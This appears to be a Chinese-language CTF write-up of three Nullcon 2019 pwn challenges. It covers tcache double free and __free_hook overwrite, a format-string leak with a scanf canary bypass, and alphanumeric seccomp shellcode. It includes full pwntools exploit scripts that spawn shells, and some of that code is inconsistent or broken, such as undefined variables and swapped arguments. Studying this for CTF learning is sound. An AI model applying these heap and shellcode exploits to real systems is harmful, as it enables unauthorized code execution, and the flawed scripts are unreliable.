Nullcon2019-pwn详解

题目还是比较有难度和借鉴意义的,可以开拓师傅的思路,大佬勿喷

shop

这道题刚开始leak libc的时候忽略了libc是2.27,亏沈师傅还能用mollac_hook在本地打通。。。

题目分析

没有开pie,可喜可贺可喜可贺。

和标准的堆题相比,少了edit功能,也就是说必须在add时构造好堆。

看看add函数

可以总结出其结构体

name{
    idx;
    *name_chunk;
    cp_stmt; #这是程序内的一段字符串,可以修改
}

再看看delete函数

that’s good! use after free!看来这道题不是很难了。

同理的view函数

仔细看可以发现一个格式化字符串漏洞,但我觉得这是一个非预期解,故这里还是用传统的堆利用解题。师傅们有兴趣可以对该漏洞进行深入利用。

漏洞利用

第一步,结合name结构题和uaf,控制name->name_chunk

my_add(0x50,"aaaa") 

my_add(0x50,"bbbb")

my_add(0x50,"cccc") #num=3 用于防止与top_chunk合并

delete(0) # num=2
delete(1) # num=1
# 这时的tcache中为 size=0x40 size=0x60 size=0x40 size=0x60 
payload=p64(0)+p64(e.got["free"]) 

my_add(0x38,payload) # 获得了两个size=0x40的chunk,并且把name->*name_chunk改为free_got

第二步,我们再利用view功能就能leak libc

p.recvuntil(""name": "")
free_addr=p.recvuntil(""")[:-1].ljust(8,'x00')
free_addr=u64(free_addr)
print "free_addr->"+hex(free_addr)+"         done"
offset=free_addr-libc.symbols["free"]

https://libc.blukat.me上查询得到libc版本为2.27,那么我们接下来的利用就要考虑tcache了,之前可以假装不知道。

tcache是ubuntu18.04引入的技术,其检查要比传统的堆宽松的多,所以利用起来也比较简单。个人认为在tcache相关的更新还没发布前tcache的利用应该要取代比赛中的入门堆题。

第三步,控制hook或者got表,然getshell

my_add("4", 0x50) 
my_add("5", 0x50) #清空tcache

my_add("6", 0x68)

my_add("/bin/shx00", 0x68) #7

my_add("/bin/shx00", 0x38)

my_add("/bin/shx00", 0x68)

my_add("/bin/shx00", 0x68)

my_add("/bin/shx00", 0x68)

my_add("/bin/shx00", 0x68)

my_add("/bin/shx00", 0x68) 

delete(6)

delete(6)   #厉害吧,连续两次delete同一个chunk,程序没有报错

delete(8)   #防止size为0x40的chunk用完

my_add(p64(offset+e.symbols["__free_hook"]), 0x68)

my_add("consume", 0x68)

my_add(p64(e.got["system"]+offset), 0x68) 
#fastbin dup的正常操作,但是tcache就是能不构造fake_chunk直接分配,简直爽到

delete(8) #为free_hook传入"/bin/shx00"参数,调用system() getshell

最后附上完整的exp

from pwn import *

g_local=True
context.log_level='debug'
p = ELF('./challenge')
e = ELF("./libc6_2.27.so")
if g_local:
    p = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'}

    ONE_GADGET_OFF = 0x4526a
    UNSORTED_OFF = 0x3c4b78
    gdb.attach(sh)
else:
    ONE_GADGET_OFF = 0x4526a
    UNSORTED_OFF = 0x3c4b78
    p = remote("pwn.ctf.nullcon.net", 4002)

    #ONE_GADGET_OFF = 0x4557a

def my_add(size,name,price=0):
    sleep(0.1)
    p.sendlineafter("> ","1")
    p.sendlineafter("Book name length: ",str(size))
    p.sendafter("Book name: ",name)
    p.sendlineafter("Book price: ",str(price))

def delete(idx):
    p.sendlineafter("> ","2")
    p.sendlineafter("Book index: ",str(idx))

def show():
    p.sendlineafter("> ","3")

my_add(0x50,"aaaa")
my_add(0x50,"bbbb")
my_add(0x50,"cccc") #num=3 用于防止与top_chunk合并
delete(0) # num=2
delete(1) # num=1
# 这时的tcache中为 size=0x40 size=0x60 size=0x40 size=0x60
payload=p64(0)+p64(e.got["free"])
my_add(0x38,payload) # 获得了两个size=0x40的chunk,并且把name->*name_chunk改为free_got
p.recvuntil(""name": "")
free_addr=p.recvuntil(""")[:-1].ljust(8,'x00')
free_addr=u64(free_addr)
print "free_addr->"+hex(free_addr)+" done"
offset=free_addr-libc.symbols["free"]
my_add("4", 0x50)
my_add("5", 0x50) #清空tcache
my_add("6", 0x68)
my_add("/bin/shx00", 0x68) #7
my_add("/bin/shx00", 0x38)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
delete(6)
delete(6) #厉害吧,连续两次delete同一个chunk,程序没有报错
delete(8) #防止size为0x40的chunk用完
my_add(p64(offset+e.symbols["__free_hook"]), 0x68)
my_add("consume", 0x68)
my_add(p64(e.got["system"]+offset), 0x68)
#fastbin dup的正常操作,但是tcache就是能不构造fake_chunk直接分配,简直爽到
delete(8) #为free_hook传入"/bin/shx00"参数,调用system() getshell
p.interactive()

 

babypwn

说的babypwn如果不知道scanf的新绕过方法那也做不出来这个的题目的,如果知道那这个题目就是babypwn了。

静态分析

main


首先输入一个才能进入下面的循环,大概的程序就是先师傅name然后再输入how many coins,这里的漏洞有两个一个是格式化字符串一个是栈溢出,因为length可以自己控制输入-1就可以进行一个栈溢出的漏洞了。但是还是不太清楚利用的方法,这里我们往下看保护。

checksec


首先这里又个Full RELRO所以不可能去做一些格式化字符串改got表重复利用漏洞的操作,所以现在就考虑printf用来作为泄漏的操作了。接下来看一下存在canary可能需要进行一个泄漏。

动态分析

这里我的测试输入是
y->1->1->12而12的16进制数就是0xc,因为在printf(即0x4006d0)并没有看见其他什么可泄漏的libc函数,这里就有一个想法就是在这里输入一些got表的地址然后用%s来进行指针的泄漏,所以这里可以试试进行一个地址泄漏,来查询libc和泄漏偏移。

这里我的输入是如上图,这里之所以要输入0是因为int是4位的一个地址是8位不能让后面的地址打乱了我们输入的指针地址。接下来就是我们的效果图了。

这里就可以用他们泄漏出地址。这个技巧还是需要读者不断进行调试然后一步一步得出来的。

problem

这里就存在一个小问题了,这里的printf只能利用一次,而且printf的信息是在程序完成后进行的所以我们是不可能利用他来进行一个canary leak因为到时候就晚了。。所以这里肯定是需要进行重复利用main函数那怎么用尼?

解决

scanf(“%d”,*)的时候如果“-”“+”输入是不会破坏栈里的内容,但是会帮助你的输入到ret的地址。这样就可以帮助我们绕过canary。

思路利用

有了上面的分析这里的利用就比较简单了

一、先利用printf进行几个libc函数的泄漏,查出libc

二、利用scanf函数覆盖ret为main

三、利用scanf函数覆盖ret地址为onegadget

exp

#!/usr/bin/env python

from pwn import *
context.log_level = ‘debug’
p = process(“./challenge”)
a = ELF(“./challenge”)
e = a.libc
main = 0x400806
onegadget = 0x45216
free_got = 0x600FA8
p.sendline(‘y’)
p.sendline(‘%8$s’)
p.sendline(‘-1’)
gdb.attach(p)

p.sendline(str(free_got))
for i in range(25): p.sendline(‘+’)
p.sendline(str(main))
p.sendline(str(0))
p.sendline(‘a’)

p.recvuntil(“Tressure Box: “)
libc_base = u64(p.recv()[:6].ljust(8, ‘x00’))-e.symbols[“free”]

og = libc_base + og_offset

p.sendline(‘y’)
p.sendline(‘AAAA’)
p.sendline(‘-1’)
print hex(og)
for i in range(26): p.sendline(‘+’)
p.sendline(str(og&0xffffffff))
p.sendline(str((og>>32)&0xffffffff)) #因为int只能存4位数字所以需要分两次输入
p.sendline(‘y’)

p.interactive()

 

 

Easy-shell

这个题目思路上不是很难但是在构造shellcode上就有一些难度了。

流程分析:

要求输入并且执行输入,所以判断是输入符合条件的shellcode获取flag
限制:
  • 长度在 -getpagesize() & (本地获取此值为0x4000)内
  • 要求输入为 字母或者数字
    ν 源程序检测

ν 对 _ctype_b_loc 函数不太熟悉,使用代码对对应检测做测试

  • Shellcode不可执行execve (seccomp)
    ν 看到有 prctl 函数 , ida 查看交叉引用 ,发现有一个函数调用了
    ν 调用 prctl 的函数在init_array中 , 加载时调用

解决:

  • Github上有大佬脚本可以完成 alphanum 的encode 工具
    ν 也可以考虑下 msfvenom 的 alpha encoder
  • Seccomp 下的获取flag shellcode可以参考 pwnable.tw 的 orw , 此处使用shellcraft给出一个shellcode

shellc = shellcraft.amd64.linux.open(“flagx00”)
shellc += shellcraft.amd64.linux.read(“rax”, “rsp”,0x30)
shellc += shellcraft.amd64.linux.write(1 , “rsp” , 0x30)

工具版exp

手动版exp | 参考

手动版原理:

自修改shellcode
前提条件: shellcode 所在段 rwx
思路:
当前的限制是:shellcode的字节码只可以使用 字符或者数字组成,那么在shellcode所在段rwx 的前提下,我们可以利用第一组受限制的shellcode执行 read(0 , &shellcode , n) (因为需要调用shellcode (call $xxx) , 所以&shellcode 在寄存器中 ,具体情况具体分析) , 这样子可以读入第二组不受字母数字限制的shellcode覆盖第一组shellcode继续执行
注意点
因为我们需要调用 read , 所以需要使用软终端(int 0x80) 或者 快速系统调用(sysenter | syscall) 来对read进行调用
本题中推荐使用 syscall , 因为syscall 的调用表中 read 的调用号为0 , 较好获取 (int 0x80 的调用表中 read 的调用号为 3 , 在amd64下, inc 和 dec 受限制不可使用 , 数字3较难获取)
需要用 异或 去获取 syscall 的 字节码 | (手动脚本中使用 0x3539 ^ 0x3036 来获得 0x050f (syscall))
函数调用表

总结

国际赛的题目确实很能让人大开眼界。。认识到自己的不足学到新知识,pwn的路上,道阻且长啊!

(完)